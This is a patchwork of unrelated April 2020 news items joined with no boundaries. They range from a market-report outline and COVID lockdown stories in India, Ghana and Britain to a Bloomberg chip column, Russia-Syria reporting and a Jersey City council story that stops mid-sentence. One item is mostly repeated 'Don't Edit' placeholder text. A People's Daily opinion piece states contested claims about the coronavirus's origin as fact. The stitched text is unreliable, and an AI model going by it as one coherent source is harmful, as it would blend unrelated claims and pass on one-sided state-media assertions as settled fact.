automotive films market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of automotive films market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY TYPE Market segmentation by type Comparison by type Window films Market size and forecast 2018-2023 Wrap films Market size and forecast 2018-2023 Paint protection films Market size and forecast 2018-2023 Market opportunity by type PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison APAC Market size and forecast 2018-2023 North America Market size and forecast 2018-2023 Europe Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Popularity of interactive automotive film simulators Development of carbon-ceramic automotive films Rising demand for luxury cars increasing adoption of ceramic window films and paint protection films PART 12: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors 3M Co. Arlon Graphics LLC Avery Dennison Corp. Compagnie de Saint-Gobain SA Eastman Chemical Co. HEXIS SA Johnson Window Films Inc. LINTEC Corp. NEXFIL Ltd. Rayno Window Film PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005058/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ New Delhi, April 28 : Since the imposition of lockdown and consequent restrictions to contain the spread of coronavirus in the country, the Delhi Zoo has made in-house arrangements in order to feed its inmates. While on one side, meat is being slaughtered inside the zoo for carnivores, the alligators are being provided with fresh fishes from the pond inside premises. Speaking to IANS over the phone, Suneesh Buxy, Director, Delhi Zoological Park, said: "After the slaughterhouse in Ghazipur was shut due to lockdown, we took special permission from the East Delhi Municipal Corporation to slaughter buffaloes inside the zoo premises to feed the lions and tigers. As the territorial jurisdiction of the zoo lies in the South zone, we also took permission from the SDMC in this regard." However, the zoo authorities clarified that the facility where buffalos are being slaughtered is not exactly a slaughterhouse but all precautions and guidelines regarding the slaughtering are being followed by them. "This is not a slaughterhouse, this is just a temporary facility. A slaughterhouse is a place where more than 10 animals are slaughtered which isn't the case here. This is just a temporary facility in order to provide fresh food to the precious animals of the zoo," said Range Officer Saurabh Vashisht. "We are complying with all the guidelines related to slaughtering including waste management and cleaning of the platform before and after slaughtering," he added. Vashisht also said that food and fodder of other animals is also being taken care of and in-house arrangements have been made for the same as well. "There is no animal species in our zoo which is not being fed properly. If we are not getting food from outside, we have made many in-house arrangements. In order to arrange fresh fishes for the ghariyals (alligators), we are using the ponds which are inside our premises, on the other hand we are extracting fodder for our animals from the trees inside our own facility." Asked what challenges the authorities are facing, the officer said: "The main problem we are facing is that as our contractor is not a government employee, he is usually stopped by police and other authorities... for that, we have to send our trucks along with our employees in order to get the livestock from the contractor." (Bloomberg Opinion) -- For years, technologists have been talking about smarter cars packed with sensors, chips and supercomputers that can replace human drivers. That was enough to get investors excited about the future of automotive semiconductors. An earnings report from NXP Semiconductors NV late Monday reminds us of one slight flaw in the plan: People need to actually buy cars. The Dutch company said revenue will drop approximately 20% this quarter to around $1.8 billion. The figure is in line with estimates that analysts slashed by 23% over the past eight weeks. NXP cut its first-quarter revenue estimate at the start of March, only to fall short of that mark. The company forecast a second-quarter operating loss of as much as $237 million, versus an estimated deficit of $169 million. So far this year, much of the attention in semiconductors has been on whether smartphones are a necessity Xiaomi Corp. thinks so, I disagree and whether work-from-home and streaming demand will drive server sales enough to make up for the drop in consumer spending. The outlook from Taiwan Semiconductor Manufacturing Co. suggests otherwise. NXP, however, is playing in a different arena: It got 47% of its revenue from automotive clients last year. The company said Monday that it was navigating a challenging and very fluid environment. Thats an understatement. After a 4.5% decline in global automobile shipments in 2018 and a 3.9% drop last year, hopes that the industry might avoid a third year of contraction are out the window as the Covid-19 pandemic hits demand and supply. NXP isnt alone. Germanys Infineon Technologies AG gets 43% of its revenue from the auto sector. This month, the company completed its $9.3 billion(1) acquisition of Californias Cypress Semiconductor Corp. Youll never guess which sector accounts for 39% of that companys business. Forgive Infineon shareholders if they start to feel that the 47% premium they paid for Cypress might be a little steep. Ironically, shareholders seem to be forgiving management, with the stock rebounding from a mid-March low to be 30% off its February peak, and back to where it was in early October. Story continues Bloomberg Intelligence senior analyst Anand Srinivasan has been ahead of the curve. He predicted two weeks ago that the then-consensus estimate for a 4% decline in NXP revenue this year was conservative, and that 6% might be more realistic. Today, data on the Bloomberg terminal points to a 10% drop, the worst since the financial crisis in 2009. At Infineon, analysts are looking at a 7% drop in sales for the year ending Sept. 30. That may also be conservative. Xiaomi may believe that smartphones are a must-have, and Apple Inc. certainly hopes that its new iPhone SE will find favor even among tight-fisted consumers. But with a global recession on the way, youd have to be Elon Musk to believe that the auto sector, and the chipmakers that supply them, are going to survive with only minor bruising. (1) Equity plus debt in an all-cash deal This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners. Tim Culpan is a Bloomberg Opinion columnist covering technology. He previously covered technology for Bloomberg News. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. The Kwame Nkrumah University of Science and Technology has invented a COVID -19 testing Kits to facilitate the quick testing of the virus. The production was done in collaboration with the University and Incas Diagnostics, a local manufacturing company. Ghana in the wake of Coronavirus has been compelled by many institutions to contribute their quota in the fight of the pandemic after the Government called for all hands on deck to this effect. Speaking to the Media, the Leader of the Research Team who doubles as the Provost of College of Health Sciences, Prof Yaw Adu Sarkodie who describes the recent development of the university as one of the achievements ever added that the newly invested kit is to complement the already Polymerase Chain reaction (PCR) in the system. The Polymerase Chain reaction (PCR) which is already in the system for the diagnosis is said to be producing results after 6 hrs, however, this new antigen kit produced by the University can produce results in 15 minutes. "Unlike the Polymerase Chain Reaction, the Rapid Diagnostic kits by the Kwame Nkrumah University of Science and Technology uses blood samples in the test. Prof Yaw Adu Sarkodie said the test kits give an idea of ones status because of the strips imbibed within the kit. Currently, the University according to Professor Yaw Adu Sarkodie is looking forward to approval from the Food and Drugs Authority as well as the Ministry of Health to go into mass production. He added their Partners, Incas Diagnostics is ready to produce 30 to 60 thousand Kits if approved by the FDA. Ghana Records 1,550 Cases Ghana's case count of the novel coronavirus has jumped to 1,550; with the death toll climbing up to 11. The updated case count comes after 271 more persons tested positive for the virus. The Ghana Health Service affirmed this in its latest update of the pandemic on Sunday, April 26, 2020. 21 additional recoveries have been confirmed with the total number of recoveries now 155, while 6 persons are said to be "critically or moderately ill". According to the GHS, in terms of the total percentage of the 100,622 tested and with 1,550 having contracted the virus, the positivity rate is 1.54%. A breakdown of the data of the over one hundred thousand tested indicates that 21,047 of the case count were picked up through "routine surveillance", 77,553 from "contact tracing", while 2,022 were "mandatorily quarantined". Source: Prince Kwadwo Boadu/Hello FM Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video U.S. has no grounds for compensation against China People's Daily Online (People's Daily Online) 13:42, April 27, 2020 A number of U.S. politicians, such as Secretary of State Mike Pompeo, have continuously stirred up trouble during the pneumonia outbreak by attempting to hold China accountable for the novel coronavirus and claiming compensation from it. They have accused China of covering up the epidemic and hiding information about it, labelling China as the source of the virus out of spite. Are such accusations justifiable? The fact remains that China is the first country to have contained the pandemic through the concerted efforts of the nation. It acted promptly to protect the health and safety of its people, actively and unconditionally shared information with other countries, including the U.S., and verified and corrected its number of confirmed cases and fatalities with big data. It has also provided assistance for more than 120 countries around the world facing the challenges brought by the epidemic, and has donated money to the World Health Organization (WHO) to help with epidemic prevention efforts. If anyone is to blame, it is the U.S. For a long time, it ignored warnings from the WHO and China, and just sat by and watched the epidemic spread in its own country. American officials refused to take preventive measures, despite suggestions from the U.S. Centers for Disease Control and Prevention and experts. They remained blindly optimistic until mid-March, oblivious to the lack of medical supplies and calls for help from local governments, which then led to the worsening situation in the country. At the same time, some U.S. officials have passed the buck on to China, attempting to stigmatize the country for a crisis of its own making. They have also frozen funding for the WHO at a crucial time, undermining international cooperation and the interests of all mankind. The U.S. has no legal grounds for claiming compensation, and is merely trying to stir things up and bully China. After all, has anyone claimed damages for previous epidemics, such as the H1N1 pandemic that first emerged in America? To justify such claims, some U.S. politicians have come up with various lies and labeled China as the origin of the virus. However, just because the pneumonia broke out in China, that doesn't mean it originated here, as some of the world's leading journals have pointed out. Many experts in the world believe that the epidemic in Europe and America didn't come from China. American media reported that the novel coronavirus, mixed with flu, appeared in America earlier than it did in Wuhan. Andrew Cuomo, governor of New York, has recently said that the pandemic in New York was brought from Europe, and not China. Claiming damages from China is actually a political issue rather than a legal one. It is a malicious attempt by some Westerners made out of political prejudice against China and a zero-sum game mindset. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A police constable deployed on COVID-19 lockdown duty saved the life of a seven-year-old snakebite victim at Badlapur in Maharashtra's Thane district, police said on Tuesday. Shivam Jadhav was bitten by a snake at a cattle shed near his home in Mankavli on Monday and his father was trying to find means to get him to a hospital during the lockdown, an official said. The boy's father approached constable Girish Sahil, who was deployed in the area to enforced the lockdown, he said, adding that the policeman immediately rushed the child to a hospital on his two-wheeler. Senior inspector Deepak Deshmukh of the Badlapur (east) police station also helped the boy's family with the medical expenses, the official said. According to doctors, the policeman's timely action had saved the boy's life, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Money Mail today calls on the nation's supermarkets to do more to ensure the elderly and vulnerable can have food delivered to their homes. We have now heard from hundreds of anxious readers who say they have been told to stay at home but cannot get an online supermarket delivery slot. Around 300 of your letters and emails have been pulled together into a damning dossier which we will send to all major supermarkets and a parliamentary inquiry into food supply during the pandemic. Money Mail has also today produced a 'shopping list' of demands we believe will help society's most needy secure deliveries. Vital: We have now heard from hundreds of anxious readers who say they have been told to stay at home but cannot get an online supermarket delivery slot Supermarkets have so far hired extra staff and are making hundreds of thousands of extra deliveries in the lockdown. However, last week Money Mail revealed how severely ill patients and their families had been unable to have their food delivered to their homes despite receiving letters from the NHS informing them to 'shield' themselves for 12 weeks. Many were staying up into the early hours of the morning to try to secure a slot. Hundreds of elderly and vulnerable readers have flooded our inbox with similar tales. A survey by charity Independent Age poll has this week found that 52 per cent of over-65s have struggled to get the food they needed. Our shopping list Guaranteed delivery slots for those extremely vulnerable to the virus Clear up confusion over priority slots, with better co-operation between supermarkets and health officials More slots prioritised for the over-70s and those who shouldn't leave the house Widespread alerts to ask fit and healthy shoppers to refrain from taking delivery slots if they can get to a supermarket Restrictions on orders to prevent stockpiling of heavy items (such as alcohol) to ensure delivery vans can carry more essentials Close to 40 per cent were unable to access supermarket delivery services. The NHS has sent letters to 1.85million people considered extremely vulnerable to Covid-19. These letters provide instructions on how to access extra support including supermarket deliveries if needed. The Government is also sharing its database of the most vulnerable people with the supermarkets. But a Money Mail investigation has found many of these are still unable to have food delivered. Former pensions minister Baroness (Ros) Altmann says: 'It is important that supermarkets ensure even the small delivery orders are prioritised.' Caroline Abrahams, charity director at Age UK, says: 'We would urge supermarkets to extend priority slots to a wider group to ensure more people are able to get the support they need.' The Environment, Food and Rural Affairs select committee of MPs has launched an inquiry into food supply in the pandemic. Chairman Neil Parish says: 'It is vital that those who have been told to self-isolate can get the food they need.' Cancer victim dies before she could book Ann Punch was unable to get a supermarket delivery before she died of breast cancer, aged 67, this month. The retired teacher did not receive the NHS letter that would have made her a priority and allowed her and husband John, 70, to have food delivered to them in Stonnall, Staffordshire. John, a chartered surveyor, tried to register Ann as vulnerable with the Government but had no response before she died on April 5. The couple's daughter, a senior police officer, has now had to drop off essentials for him. John says: 'The fact the system doesn't work is so frustrating. Ann was clearly vulnerable and there should have been a simple way of getting her registered and signing up for priority deliveries.' Retired teacher Ann Punch was unable to get a supermarket delivery before she died of breast cancer, aged 67, this month Don McKay, 73, who is having palliative chemotherapy for incurable pancreatic cancer, has had the letter from the NHS but couldn't book a delivery with Tesco. He and wife Christie, 70, are relying on their children to deliver supplies. Their eldest daughter regularly stays up past midnight to try to place an online order. Don says: 'It's so frustrating.' Cancer sufferer Beryl Payne, 73, was told to shield herself after finishing a course of chemotherapy last month. The widow registered for support on April 3 after struggling to get a delivery. Yet her Ocado account says that she is not on its priority list. She says: 'I was even second-guessing myself and wondering if I really was vulnerable when the supermarkets didn't see me that way.' Blind not on the vulnerable list Deaf and blind Win Bouldin, 98, was not considered vulnerable enough to qualify for priority supermarket deliveries. Denied: Deaf and blind Win Bouldin, 98, was a lance corporal in the Auxiliary Territorial Service during World War II Win, a lance corporal in the Auxiliary Territorial Service during World War II, lives with her daughter Pauline 74, and her partner Paul, 74, in Croydon, South London. Pauline says: 'I really don't want to bring the virus back to my mother. I have looked after her for so long and I couldn't bear it if anything was to happen to her.' Patricia Wilby is also having to send parcels of groceries to her blind son Mark McClenaghan 500 miles away because he was not considered vulnerable enough. Mark, 48, from Glasgow, was able to travel to supermarkets before the coronavirus outbreak but his lack of sight means he cannot practice social distancing. Patricia, 67, says: 'People don't seem to understand that blind people can't go on as normal during these circumstances.' Meanwhile, John Mapp's 82-year-old wife Irene has repeatedly stayed up until midnight to secure a delivery slot from Tesco to their home in Queniborough, Leicestershire. John, 81, has chronic kidney failure but hasn't had a letter classing him as vulnerable. Irene says: 'I was a bit disgusted when I was told there was nothing they could do because we didn't have a letter, it seemed harsh.' 'I feel like I just take booze to 30-year-olds' A Sainsbury's delivery driver has told Money Mail he is fed up with delivering crates full of alcohol to the fit and healthy when the vulnerable and elderly struggle to make orders. The man, who asked not to be named, says far too many adults under 50 were using online deliveries when they could go to a store. Sales of alcohol at supermarkets jumped by 31 per cent in March. He says: 'My colleagues and I feel we are an 'alcohol delivery service' for thirtysomethings. Supermarkets are not going to limit delivery sizes voluntarily as they are in business to make money.' He says supermarkets should limit the amount of alcohol customers can have delivered to avoid vans being overloaded. The driver, who is in the south of England, says around 30 per cent of his deliveries went to those in need. He adds: 'People who are elderly and vulnerable cannot get slots. There is something going wrong. 'It seems very selfish and thoughtless that if they are forced to go out to shop and catch this virus their lives could be on the line. If we are really all in this together, habits need to change. 'I am very disheartened by the selfishness of a minority, who prevent those really in need obtaining the deliveries they need.' No slots for care home either Care home owner Peter Sims looks after 18 residents aged 78 to 98. He relies on Tesco to bring food his wholesale provider doesn't stock. But he has been unable to book any slots to the home, Hankham Lodge in Westham, East Sussex, since the lockdown began. Instead, his staff are visiting an Asda during the carers' hour. Peter says: 'I've been contacting all the major supermarkets but all anyone has is nice words and no actions.' Former mayor Colin Rigby, 78, and his wife Jean are relying on weekly food boxes from their local council because they cannot get a supermarket delivery slot. Colin, once mayor of the Blackburn with Darwen borough council, was advised by the NHS to stay at home because he has had a heart bypass and suffers from chronic obstructive pulmonary disease. But despite being eligible for a priority supermarket delivery slot, the local councillors, who live in Edgworth, Lancashire, have been unable to find any availability. Jean, 76, says: 'I'm lucky the council provides food boxes but I feel bad as you don't pay for them.' Former mayor Colin Rigby, 78, and his wife Jean are relying on weekly food boxes from their local council because they cannot get a supermarket delivery slot Supermarkets stepping up Andrew Opie, from supermarket trade body the British Retail Consortium, says: 'There is not enough capacity to deliver to every vulnerable consumer. Community solutions are needed, with people shopping on behalf of vulnerable friends and neighbours.' Tesco last week took close to 1million online orders 400,000 more than six weeks ago. The supermarket has now put Win's daughter Pauline, Don McKay, and John Mapp on its list for priority deliveries. A spokesman says: 'Ensuring we support our most vulnerable customers is our priority.' Peter's care home has also been given priority online deliveries for items he can't get wholesale. Wait-rose says it will speak to Beryl and Colin to see how it could help. Delivery misery: Letters Special I haven't been able to get a delivery slot since lockdown started. I emailed Waitrose to say I am 72 and have a bad foot and back. But Waitrose has told me I am not a vulnerable person. N. M., by email. My 80-year-old husband has Alzheimer's. Thanks to Money Mail, I called Tesco and tried the website. I was able to access a priority slot. Y. W., Cuddington, Bucks. My husband and I are in our 70s and we are struggling to get a delivery from Asda. While we have not received letters from the Government informing us we are vulnerable, we still rely on deliveries due to our age. G. M., Grantham, Lincs. A house on our street has received three supermarket deliveries in the past week. They go running each morning, so one could assume they are in good health. Meanwhile, I have been unable to get a slot for my husband, who has a weak immune system and cannot leave our home. P.P., Maidenhead, Berks. I am a leg amputee and I use elbow crutches to get around which means I am unable to carry a basket or push a shopping trolley. But I've been told I do not qualify for a shopping priority delivery slot. J.S., Middlesbrough. I am on the Government's 'at risk' list, but every time I try to book a delivery from Asda there are none available. In my street I see supermarkets delivering to those who are young and fit enough to go shopping. V.L., email. I'm self-isolating with my husband, as I am 76 and he is 80. We have no relatives in our town. Last month I got a delivery from Morrisons but not one since. S.E., Clevedon, Somerset. I gave up trying to get online deliveries from the big supermarkets weeks ago. I phoned my local Co-op with my order; it was delivered within two days, by a local van. D.J., Kingswinford, West Midlands. I live on an island in the Inner Hebrides. I used to get a Tesco delivery from Oban, mainland Scotland. Now I struggle to get any shopping. C.D., Iona, Hebrides. Sainsbury's has more than 725,000 slots for the elderly and vulnerable. It has also introduced volunteer shopping cards so others can shop on behalf of the most vulnerable. Waitrose says it is delivering more than 100,000 orders a week and has committed to ensuring at least 25 per cent go to vulnerable customers. Asda has increased its weekly deliveries from 450,000 to 700,000. A government spokesman says: 'We understand how challenging this period is for everyone, especially the clinically vulnerable. 'We are also looking at ways to prioritise those who are at increased risk but are not on the clinically extremely vulnerable list.' moneymail@dailymail.co.uk LONDON, April 28 (Reuters) - Britain's market regulator has ended a civil investigation into former Barclays executive Roger Jenkins over how the bank secured billions of pounds of emergency funding from Qatar during the credit crisis, Jenkins' lawyer said on Tuesday. "The FCA (Financial Conduct Authority) investigation of Roger Jenkins is over," Brad Kaufman, the co-president of law firm Greenberg Traurig who has been representing Jenkins since 2012, told Reuters. "The FCA has discontinued their warning notice as simply unfair to Mr Jenkins after all these years and all he has been through." (Reporting by Kirstin Ridley, editing by Sinead Cruise) As the coronavirus spread throughout the world, the Iraqi government announced a new lockdown. It has felt strange to hear from people who are not Iraqi about how the strict restrictions they face have changed them or how these are making them realize things about themselves that they werent aware of before. Here in Iraq, we know the rhythm, and living this way again is reminding me of the old me. (Apart from the cooking. Im now living alone, and without restaurants to feed me, Im really realizing how bad I am.) Smiley hopes to continue to readapt its original message to the world, by bringing inspiring stories of people and communities working together to make the world a better place and also providing positive and uplifting lifestyle content through its social media accounts in a bid to create real joy. The company believes that people are living in unprecedented times, relentlessly bombarded with bad news from 'always-on' social and digital media. According to Smiley's research taken from Google Trends, it showed that searches for 'good news' have reached all-time highs in March 2020, as they believe that more consumers look for positive, inspiring, feel-good news as a remedy. With the launch of their non-profit Smiley Movement in 2019, Smiley is helping partners make 'giving back' the norm, building bridges between brands and local charities, creating purposeful partnerships in a bid to drive social change. With its recent partnership between renowned explorer brand Eastpak and leading homeless charity Depaul, Simley has been part of arranging vital funding for the Korotich Mother and Child Home in Ukraine. On Smiley's 50th anniversary in 2022, the company will be rebooting its original 1972 message "Take The Time To Smile", to generate hope, optimism and positivity through collaborations and partnerships that put its purpose into action for the next 50 years. During these uncertain times, Smiley believes their mission is more critical than ever. As an organisation, it hopes to do what it does best by bringing positivity and hope to a world that urgently needs it and becoming the antidote to a world in crisis. Get your Smiley News on Twitter . To download accompanying images click: https://www.dropbox.com/sh/noce2mjs5y7o51z/AAC_cay5UGaXz99NBfkvg-oga?dl=0 SOURCE The Smiley Company Related Links https://smileymovement.org After the Centre on Monday released guidelines allowing mild or pre-symptomatic coronavirus cases to be home-quarantined, state governments have been directed to start assessing patients. Medical officer in state Covid-19 hospitals and district surveillance officers will take a call on whether a patient should be isolated at home. A patient with mild or pre-Covid-19 symptoms will be allowed home quarantine provided he or she lives in a place that allows strict isolation without having to intermingle with the rest of the family and a caregiver is present p 24*7 who is in direct touch with a nearby Covid-19 hospital. Under the guidelines, the patient would have to agrees to his or her health condition monitored, and report by telephone to the district surveillance officer on a daily basis, among other preconditions. The patient will have to sign an undertaking of strict compliance with the dos and donts. Experts say there was no need to wait this long for letting asymptomatic patients to be isolated at home. I am a big believer of keeping mildly infected {people} at home. It should have been done much earlier as in about 90% of the cases I would say symptoms are self-limiting, which means these will get better on their own. However, regular telephonic contact is a must so that at anytime if the patients condition deteriorates then they can be rushed to the nearest hospital, says Dr T Jacob John, former head of virology department at the Christian Medical College, Vellore. As per the assessment made by the medical officer, a patient is categorised as very mild or mild, moderate or severe, and admitted to a Covid care centre, a dedicated Covid health centre or a dedicated Covid hospital. A Covid care centre, for mild or asymptomatic patients, is a facility created in hotels, hostels, lodges and even makeshift structures. Instead of these facilities, a pre-symptomatic patient will be allowed to remain at home. But the patient has to strictly adhere to the norms, said a senior health ministry official. The caregiver of the patient, and close family contacts, will have to take the anti-malarial drug hydroxychloroquine as a prophylactic under the supervision of a medical officer. Downloading the Arogya Setu app and keeping it on at all times is a prerequisite for allowing home isolation for positive cases. Meanwhile, Union health secretary Preeti Sudan on Tuesday turned tough on hospitals which are turning away non-Covid patients, or insisting on them getting a Covid-19 test done before treatment. All health services should remain functional during the lockdown, Sudan wrote in a statement. SHARE THIS ARTICLE ON Here is a step-by-step guide to what you will need to apply and how to determine if you are eligible from the Oregon Employment Department. Elliot Njus/The Oregonian On April 28, 2020, the Oregon Employment Department launched a system for self-employed workers to apply for unemployment benefits. Don't Edit Oregon is offering a new benefit, the Pandemic Unemployment Assistance program, for the self-employed, independent contractors and gig workers, who previously were not eligible for benefits because their employers had not paid into the system. Congress authorized the new benefits. Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Here's a sneak peek at the application form you will need to fill out and send in. Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit The World Health Organization declared the pandemic on March 11, 2020. Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Even more questions answered by the state here. Don't Edit President Vladimir Putin is letting his impatience show with Syrian ally Bashar al-Assad, who isn't proving as grateful for being kept in power by Russian intervention in his country's brutal civil war as the Kremlin leader needs him to be. Consumed at home by the twin shocks of collapsing oil prices and the coronavirus epidemic, and eager to wrap up his Syrian military adventure by declaring victory, Putin is insisting that Assad show more flexibility in talks with the Syrian opposition on a political settlement to end the nearly decade-long conflict, said four people familiar with Kremlin deliberations on the matter. Assad's refusal to concede any power in return for greater international recognition and potentially billions of dollars in reconstruction aid prompted rare public outbursts against the Syrian president this month in Russian publications with links to Putin. "The Kremlin needs to get rid of the Syrian headache," said Alexander Shumilin, a former Russian diplomat who runs the state-financed Europe-Middle East Center in Moscow. "The problem is with one person - Assad - and his entourage." Putin's irritation and Assad's obduracy highlight Russia's dilemma because both sides know there's no alternative to the Syrian leader in reaching a deal. While Putin used his successful 2015 intervention in Syria to restore Russia's Soviet-era influence as a major player in the Middle East, Assad has maneuvered between Moscow and his other main military backer, Iran, to retain his grip on power. Assad has also leveraged Russia's military and diplomatic strength against Turkey's efforts to expand its presence in remaining rebel-held areas of northern Syria as he seeks to regain control over the whole country with Putin's support. Kremlin spokesman Dmitry Peskov denied that Putin is unhappy with Assad for refusing to compromise with Syria's opposition in negotiating a political settlement. Russia has pressured Assad behind the scenes for several years, without success, to agree to at least some token political concessions to win United Nations endorsement of his expected re-election in 2021. The openly voiced criticism of its ally marked a sharp change of approach. A media outlet linked to Yevgeny Prigozhin, who's known as "Putin's Chef" for his Kremlin catering contracts, published an online article attacking Assad as corrupt. It also cited a poll showing he has just 32% support, while listing a number of potential replacements from within the Syrian regime and the opposition. The article on the Federal News Agency website quickly disappeared. Days later, the Russian International Affairs Council, a foreign-policy think tank established by the Kremlin, published a commentary criticizing the government in Damascus as lacking "a far-sighted and flexible approach" to ending the conflict. "If Assad refuses to accept a new constitution, the Syrian regime will put itself at great risk," Alexander Aksenyonok, a former Russian diplomat and a vice-president of the council, who wrote the commentary, said in a phone interview. Both publications were a strong signal to the Syrian leadership, a person close to the Kremlin said. Putin views Assad as a stubborn figure who has proved a disappointment for him and used the media outlet linked to Prigozhin to convey this, said another person close to the Russian leader. Still, the Syrian president cannot be abandoned because there's no other viable ally in Syria, this person and a government official said. There's been no official Syrian reaction and Syria's newspapers, all state-controlled, didn't mention the Russian criticism. Syria's ambassador to Moscow, Riad Haddad, didn't respond to an emailed request for comment. UN-led talks in Geneva on redrafting the Syrian constitution to introduce some political competition finally started late last year and almost immediately became deadlocked when the government side "deliberately sabotaged" the negotiations, said Aksenyonok, who is also affiliated with the Valdai discussion club backed by Putin. The UN Special Envoy for Syria, Geir Pederson, told the Security Council on Dec. 20 that the second round failed to get off the ground because Assad opponents wanted to start discussing constitutional matters and Syrian government officials refused. The warnings from Moscow reflect frustration among Russia's business community at the failure to gain entry into the Syrian economy, said a diplomat who tracks Syria. Russia is also aware of how difficult the situation is in the country, with Assad's failure to provide essential goods because of the coronavirus pandemic and the problem of corrupt networks risking some kind of revolt in certain areas in the future, the diplomat said. "Assad has always been obstinate in the face of Russian pressure because he knows that Syria is too big to fail for Russia," said Joost Hiltermann, program director for the Middle East and North Africa at the Brussels-based International Crisis Group. What "appears to be an unprecedented government-sanctioned Russian media campaign against Assad" may reflect frustration in Moscow at a time when Syria is a lesser priority, he said. Russia, which maintains a naval facility and an air base in Syria and has dispatched military police to patrol former rebel-held areas and key road links, has some leverage but would risk too much if it tried to oust Assad, according to Irina Zvyagelskaya, a Middle East expert at the state-run Institute of World Economy and International Relations. Complicating Russian efforts to cajole the Syrian leader into compliance is not only Iran, which has backed Assad with money, oil and troops to guarantee Syria remains a corridor for supplies of arms to Tehran's Hezbollah militia ally in Lebanon, but also the United Arab Emirates. The U.A.E., which is keen to counterbalance Iranian and Turkish influence in Syria, has courted Assad after years of treating him as a pariah along with regional powerhouse Saudi Arabia. It reopened its embassy in Damascus at the end of 2018 and is promoting commercial ties. "Many Arab countries have come to the conclusion that Assad will stay," said Zvyagelskaya. "They understand they have to deal with him." Syngene has repurposed one of its laboratories to conduct the RT-PCR tests Syngene International Ltd., a global research and development services company, has announced the opening of a COVID-19 testing laboratory at its Bengaluru site. In less than six weeks, the company used its expertise in clinical trial management, human clinical sample testing procedures, molecular biology and viral testing to gain the additional approvals, including ICMR approval, necessary to open the facility to support hospitals in the city. Commenting on the development, Dr Mahesh Bhalgat, Chief Operating Officer, Syngene International Ltd., said, As India battles the COVID-19 pandemic, we are proud to contribute our scientific expertise and resources in supporting the nation in this hour of need. Our COVID-19 testing laboratory, using RT-PCR technology, will work with local hospitals to expand the testing capacity in Bengaluru and help reduce the spread of the virus in the community. The laboratory will be scaling up to operate round-the-clock sample processing and all tests will be offered free of charge. Syngene has repurposed one of its laboratories to conduct the RT-PCR tests. A dedicated team of scientists has been trained to perform these tests as per the guidelines prescribed by national and global regulatory authorities. Necessary processes have been established for safe handling of the samples and testing kits have been sourced and validated. With the broad range of scientific expertise in relevant disciplines that Syngene offers, it is also working to supply reagents, primers and probes for COVID-19 diagnostic testing to clients, as well as working on research projects related to vaccine development which could represent a longer-term solution for fighting the coronavirus pandemic. RT-PCR or Real Time PCR is an advanced technology which is used to detect the expression level of the relevant RNA fragment. It monitors the amplification of a targeted oligonucleotide sequence in real-time and uses fluorescent dyes to detect the presence of the virus. At present, there are 277 government laboratories approved and supported by the ICMR and 16 private labs for testing Coronavirus including 6 in Bangalore. NWS Weather Alert NOTE: This information is provided by the National Weather Service. Forecast may differ from local information provided by our own 69News Meteorologists ...AIR QUALITY ALERT IS IN EFFECT FOR THURSDAY JANUARY 13... The Pennsylvania Department of Environmental Protection has issued a code orange air quality alert Thursday for The Lehigh Valley/Berks County area. A code orange air quality alert means that air pollution concentrations within the region may become unhealthy for sensitive groups. Sensitive groups include children...people suffering from asthma... heart disease or other lung diseases...and the elderly. The effects of air pollution can be minimized by avoiding strenuous activity or exercise outdoors. For more information on ground-level ozone and fine particles...visit http://www.depweb.state.pa.us JERSEY CITY Despite two councilmens plans to interview candidates to replace the late Michael Yun on the City Council, the council president and mayor have selected a former Board of Education candidate for the Ward D seat. Council President Joyce Watterman has nominated Yousef Saleh, a lifelong Jersey City Heights resident, to fill the Ward D seat until a special election in November. The City Council will vote Thursday during a special meeting to determine if Saleh will take the helm of the Heights council seat. They have a drive, Watterman said comparing Yun and Saleh. Yousef, when he believes in something, he will fight for it Especially, in this day when we have all these challenges in crises we need someone who will definitely be a fighter for the people. We need that. Salehs nomination has already received the support of Mayor Steve Fulop, who called him "a phenomenal choice. Over the years, Yousef has been involved with countless community groups in the Heights advocating for good government, Fulop said. Im hopeful Yousef receives the support of the City Council, as it's great to see a great Jersey City story move forward. More than that though, Yousef is a 